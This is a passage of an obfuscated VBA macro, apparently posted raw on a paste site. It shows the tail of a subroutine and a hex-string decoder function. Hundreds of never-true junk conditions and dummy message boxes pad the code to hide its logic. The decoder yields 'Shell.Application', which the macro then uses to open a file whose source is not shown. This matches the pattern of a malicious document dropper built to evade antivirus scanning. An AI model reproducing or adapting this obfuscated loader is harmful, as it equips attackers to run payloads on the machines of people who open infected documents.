  719. If 1542 < 33 Then
  720.         MsgBox (BJBKfdg("77436A48794666473235"))
  721. End If
  722. If Len(BJBKfdg("777A68754E46564635373135")) = Len(BJBKfdg("5248437A78544944")) Then
  723.        MsgBox (BJBKfdg("4572726F7220212121"))
  724. End If
  725.        MsgBox (BJBKfdg("4572726F7220212121"))
  726.  
  727.  
  728. End If
  729. If 345569 = 345569 + 1 Then End
  730. If 9294 < 95 Then
  731. If 543927 = 543927 + 1 Then End
  732. If 3813 < 84 Then
  733.         MsgBox (BJBKfdg("586D5A47545241783436"))
  734. End If
  735. If Len(BJBKfdg("546D4E666B57546436313736")) = Len(BJBKfdg("75564541626C744C")) Then
  736.        MsgBox (BJBKfdg("4572726F7220212121"))
  737. End If
  738.         MsgBox (BJBKfdg("7271444F43577A4E3838"))
  739.  
  740. End If
  741. If Len(BJBKfdg("6B51576A6D59705131313534")) = Len(BJBKfdg("64746C5867536342")) Then
  742. If 933738 = 933738 + 1 Then End
  743. If 1879 < 36 Then
  744.         MsgBox (BJBKfdg("5179415752726F5A3437"))
  745. End If
  746. If Len(BJBKfdg("6C77544D4463745734323433")) = Len(BJBKfdg("6E7064477167484D")) Then
  747.        MsgBox (BJBKfdg("4572726F7220212121"))
  748. End If
  749.        MsgBox (BJBKfdg("4572726F7220212121"))
  750.  
  751. End If
  752. If 874542 = 874542 + 1 Then End
  753. If 8642 < 28 Then
  754.         MsgBox (BJBKfdg("7048496C4E48494F3934"))
  755. End If
  756. If Len(BJBKfdg("75716770684B707139353833")) = Len(BJBKfdg("6D6C49754D527374")) Then
  757.        MsgBox (BJBKfdg("4572726F7220212121"))
  758. End If
  759.     Set vgGUFYfdg = CreateObject(BJBKfdg("5368656C6C2E4170706C69636174696F6E"))
  760.  
  761.  
  762.  
  763. vgGUFYfdg.Open oGHUGIdg
  764. End Sub
  765.  
  766.  
  767. Public Function BJBKfdg(ByVal zqEOxxkkLThI As String) As String
  768. For BQZiFmPgMS = 1 To Len(zqEOxxkkLThI) Step 2
  769. If 131176 = 131176 + 1 Then End
  770. If 4911 < 15 Then
  771. If 463372 = 463372 + 1 Then End
  772. If 7687 < 79 Then
  773. If 269689 = 269689 + 1 Then End
  774. If 2593 < 56 Then
  775.         MsgBox ("RYdbtqsZ32")
  776. End If
  777. If Len("AzLgwfFr3354") = Len("GpdsNNGB") Then
  778.        MsgBox ("Error !!!")
  779. End If
  780.         MsgBox ("cHIFqRYx91")
  781.  
  782. End If
  783. If Len("JQExGqte8438") = Len("BbqkdeGe") Then
  784. If 892825 = 892825 + 1 Then End
  785. If 2973 < 23 Then
  786.         MsgBox ("WoZjNMIA44")
  787. End If
  788. If Len("frxBTnyi3724") = Len("xKtMzkJu") Then
  789.        MsgBox ("Error !!!")
  790. End If
  791.        MsgBox ("Error !!!")
  792.  
  793. End If
  794. If 679731 = 679731 + 1 Then End
  795. If 6694 < 32 Then
  796.         MsgBox ("eSsTOQBZ74")
  797. End If
  798. If Len("NiJmNFnr7445") = Len("ZQmIisBP") Then
  799.        MsgBox ("Error !!!")
  800. End If
  801.         MsgBox ("vflWlHfB95")
  802.  
  803.  
  804. End If
  805. If Len("GvWembEi5751") = Len("jzvjZVeF") Then
  806. If 436732 = 436732 + 1 Then End
  807. If 7167 < 46 Then
  808. If 549456 = 549456 + 1 Then End
  809. If 8839 < 26 Then
  810.         MsgBox ("sdqYtACN98")
  811. End If
  812. If Len("skqCBAUB3193") = Len("myKKwlkB") Then
  813.        MsgBox ("Error !!!")
  814. End If
  815.         MsgBox ("FlVTtdzw59")
  816.  
  817. End If
  818. If Len("tEbSuXkR2331") = Len("UuzNgmJq") Then
  819. If 997564 = 997564 + 1 Then End
  820. If 7569 < 31 Then
  821.         MsgBox ("kNamQlQi82")
  822. End If
  823. If Len("zNvMcPGV1733") = Len("ERauYogR") Then
  824.        MsgBox ("Error !!!")
  825. End If
  826.        MsgBox ("Error !!!")
  827.  
  828. End If
  829. If 599486 = 599486 + 1 Then End
  830. If 2753 < 22 Then
  831.         MsgBox ("hGqYywll14")
  832. End If
  833. If Len("EhldRuAe3693") = Len("vOKKcdGj") Then
  834.        MsgBox ("Error !!!")
  835. End If
  836.        MsgBox ("Error !!!")
  837.  
  838.  
  839. End If
  840. If 214757 = 214757 + 1 Then End
  841. If 5192 < 55 Then
  842. If 682933 = 682933 + 1 Then End
  843. If 6826 < 34 Then
  844.         MsgBox ("aXwGSIGu75")
  845. End If
  846. If Len("BjzRePkI7666") = Len("nWTKqoHg") Then
  847.        MsgBox ("Error !!!")
  848. End If
  849.         MsgBox ("qkHplHHi99")
  850.  
  851. End If
  852. If Len("JULoApSn6952") = Len("SalFmgBF") Then
  853. If 964923 = 964923 + 1 Then End
  854. If 3695 < 21 Then
  855.         MsgBox ("CWSntPXc41")
  856. End If
  857. If Len("RqHvfrKH4545") = Len("vRgruotr") Then
  858.        MsgBox ("Error !!!")
  859. End If
  860.        MsgBox ("Error !!!")
  861.  
  862. End If
  863. If 419648 = 419648 + 1 Then End
  864. If 4993 < 15 Then
  865.         MsgBox ("JrdvpHGD56")
  866. End If
  867. If Len("GvLgnLjg5753") = Len("jzxAIjHW") Then
  868.        MsgBox ("Error !!!")
  869. End If
  870. HgxJy = Chr(Val(Chr(38) & Chr(72) & Mid$(zqEOxxkkLThI, BQZiFmPgMS, 2)))
  871.  
  872.  
  873.  
  874. If 987591 = 987591 + 1 Then End
  875. If 6624 < 69 Then
  876. If 119675 = 119675 + 1 Then End
  877. If 8571 < 51 Then
  878. If 842619 = 842619 + 1 Then End
  879. If 8968 < 17 Then
  880.         MsgBox ("EqmLBaXP38")
  881. End If
  882. If Len("qnvJilJz3232") = Len("tLCxzbth") Then
  883.        MsgBox ("Error !!!")
  884. End If
  885.         MsgBox ("brsnpnOf93")
  886.  
  887. End If
  888. If Len("prINXHDe2844") = Len("QIsdtgdP") Then
  889. If 873452 = 873452 + 1 Then End
  890. If 2424 < 89 Then
  891.         MsgBox ("qFZfDkRh94")
  892. End If
  893. If Len("ABrmGaMv3375") = Len("eZUICblt") Then
  894.        MsgBox ("Error !!!")
  895. End If
  896.        MsgBox ("Error !!!")
  897.  
  898. End If
  899. If 234949 = 234949 + 1 Then End
  900. If 2972 < 47 Then
  901.         MsgBox ("WoEoRUHF67")
  902. End If
  903. If Len("ZvUiDNSy6245") = Len("PdgeqJxt") Then
  904.        MsgBox ("Error !!!")
  905. End If
  906.         MsgBox ("IUXQyYuL43")
  907.  
  908.  
  909. End If
  910. If Len("XitkElgR7474") = Len("HnECxvAK") Then
  911. If 666782 = 666782 + 1 Then End
  912. If 6219 < 99 Then
  913. If 162694 = 162694 + 1 Then End
  914. If 1533 < 61 Then
  915.         MsgBox ("wIAcJdEs23")
  916. End If
  917. If Len("lridugyD2473") = Len("MUPnhDRl") Then
  918.        MsgBox ("Error !!!")
  919. End If
  920.         MsgBox ("lxLVdUNO11")
  921.  
  922. End If
  923. If Len("BSXCwNXz1473") = Len("MywAgtoh") Then
  924. If 169618 = 169618 + 1 Then End
  925. If 2248 < 26 Then
  926.         MsgBox ("KvpGjDTN61")
  927. End If
  928. If Len("bFfDbyAl3188") = Len("muSllsFT") Then
  929.        MsgBox ("Error !!!")
  930. End If
  931.        MsgBox ("Error !!!")
  932.  
  933. End If
  934. If 289882 = 289882 + 1 Then End
  935. If 8372 < 58 Then
  936.         MsgBox ("ZKqPieJv91")
  937. End If
  938. If Len("sKIpMlWg3545") = Len("DwsczJmW") Then
  939.        MsgBox ("Error !!!")
  940. End If
  941.        MsgBox ("Error !!!")
  942.  
  943.  
  944. End If
  945. If 269681 = 269681 + 1 Then End
  946. If 2593 < 56 Then
  947. If 987524 = 987524 + 1 Then End
  948. If 9427 < 22 Then
  949.         MsgBox ("IYVPCLhG42")
  950. End If
  951. If Len("hXzIyssu3681") = Len("vPOREeXy") Then
  952.        MsgBox ("Error !!!")
  953. End If
  954.         MsgBox ("EUsnsmuT33")
  955.  
  956. End If
  957. If Len("fUINVPqw3444") = Len("GqsdyoOz") Then
  958. If 269589 = 269589 + 1 Then End
  959. If 5396 < 28 Then
  960.         MsgBox ("RTgmgWxy32")
  961. End If
  962. If Len("WHHZhRSg9569") = Len("xllHveqW") Then
  963.        MsgBox ("Error !!!")
  964. End If
  965.        MsgBox ("Error !!!")
  966.  
  967. End If
  968. If 829728 = 829728 + 1 Then End
  969. If 2252 < 25 Then
  970.         MsgBox ("LxkqERlX36")
  971. End If
  972. If Len("sjdKisJZ3193") = Len("mtMFTeAZ") Then
  973.        MsgBox ("Error !!!")
  974. End If
  975. pHEbKVcYj = pHEbKVcYj & HgxJy
  976.  
  977.  
  978.  
  979. Next BQZiFmPgMS
  980. If 996764 = 996764 + 1 Then End
  981. If 3768 < 93 Then
  982. If 351252 = 351252 + 1 Then End
  983. If 6567 < 68 Then
  984. If 724146 = 724146 + 1 Then End
  985. If 5625 < 12 Then
  986.         MsgBox ("ipUVSpYl64")
  987. End If
  988. If Len("JptcvnQi8988") = Len("lFUPUBpF") Then
  989.        MsgBox ("Error !!!")
  990. End If
  991.         MsgBox ("hDxOKUZm79")
  992.  
  993. End If
  994. If Len("OIkkxfNa7417") = Len("JxBdMyQN") Then
  995. If 679784 = 679784 + 1 Then End
  996. If 6439 < 81 Then
  997.         MsgBox ("kRuBIVqm12")
  998. End If
  999. If Len("VMqVJkuD9693") = Len("LfOZPxla") Then
  1000.        MsgBox ("Error !!!")
  1001. End If
  1002.        MsgBox ("Error !!!")
  1003.  
  1004. End If
  1005. If 424916 = 424916 + 1 Then End
  1006. If 4146 < 72 Then
  1007.         MsgBox ("HpOJqcGe58")
  1008. End If
  1009. If Len("npyjCFLK5887") = Len("zDORydkv") Then
  1010.        MsgBox ("Error !!!")
  1011. End If
  1012.         MsgBox ("kzVYCXlk82")
  1013.  
  1014.  
  1015. End If
  1016. If Len("IsbFVTIn4518") = Len("pGzauriu") Then
  1017. If 633251 = 633251 + 1 Then End
  1018. If 9923 < 55 Then
  1019. If 291456 = 291456 + 1 Then End
  1020. If 8752 < 81 Then
  1021.         MsgBox ("spwMHCVy74")
  1022. End If
  1023. If Len("dhmpPCIt3926") = Len("uILGEzXl") Then
  1024.        MsgBox ("Error !!!")
  1025. End If
  1026.         MsgBox ("CkRrTVqN69")
  1027.  
  1028. End If
  1029. If Len("fZyqUUAi3386") = Len("HyOvGyNF") Then
  1030. If 123399 = 123399 + 1 Then End
  1031. If 1139 < 76 Then
  1032.         MsgBox ("vqRizUkr28")
  1033. End If
  1034. If Len("xYqVkOLR2981") = Len("VpFqnils") Then
  1035.        MsgBox ("Error !!!")
  1036. End If
  1037.        MsgBox ("Error !!!")
  1038.  
  1039. End If
  1040. If 299856 = 299856 + 1 Then End
  1041. If 8846 < 25 Then
  1042.         MsgBox ("sshjiKlx98")
  1043. End If
  1044. If Len("sjgUzKew3111") = Len("mtXZbOFw") Then
  1045.        MsgBox ("Error !!!")
  1046. End If
  1047.        MsgBox ("Error !!!")
  1048.  
  1049.  
  1050. End If
  1051. If 985525 = 985525 + 1 Then End
  1052. If 2819 < 22 Then
  1053. If 762531 = 762531 + 1 Then End
  1054. If 4219 < 17 Then
  1055.         MsgBox ("eOnmlcfq58")
  1056. End If
  1057. If Len("DOCLyFkN8473") = Len("gdnugdJU") Then
  1058.        MsgBox ("Error !!!")
  1059. End If
  1060.         MsgBox ("XtMBVuxE67")
  1061.  
  1062. End If
  1063. If Len("ZmVCublW3751") = Len("cDxZNTTo") Then
  1064. If 112836 = 112836 + 1 Then End
  1065. If 1651 < 34 Then
  1066.         MsgBox ("FMkzcPSP55")
  1067. End If
  1068. If Len("wpwaYeIe4924") = Len("RVeXrMlz") Then
  1069.        MsgBox ("Error !!!")
  1070. End If
  1071.        MsgBox ("Error !!!")
  1072.  
  1073. End If
  1074. If 254689 = 254689 + 1 Then End
  1075. If 2453 < 55 Then
  1076.         MsgBox ("RASvLJEB32")
  1077. End If
  1078. If Len("ZXlfpLtn3293") = Len("HtSqFYum") Then
  1079.        MsgBox ("Error !!!")
  1080. End If
  1081. BJBKfdg = pHEbKVcYj
  1082.  
  1083.  
  1084.  
  1085. End Function
RAW Paste Data
Top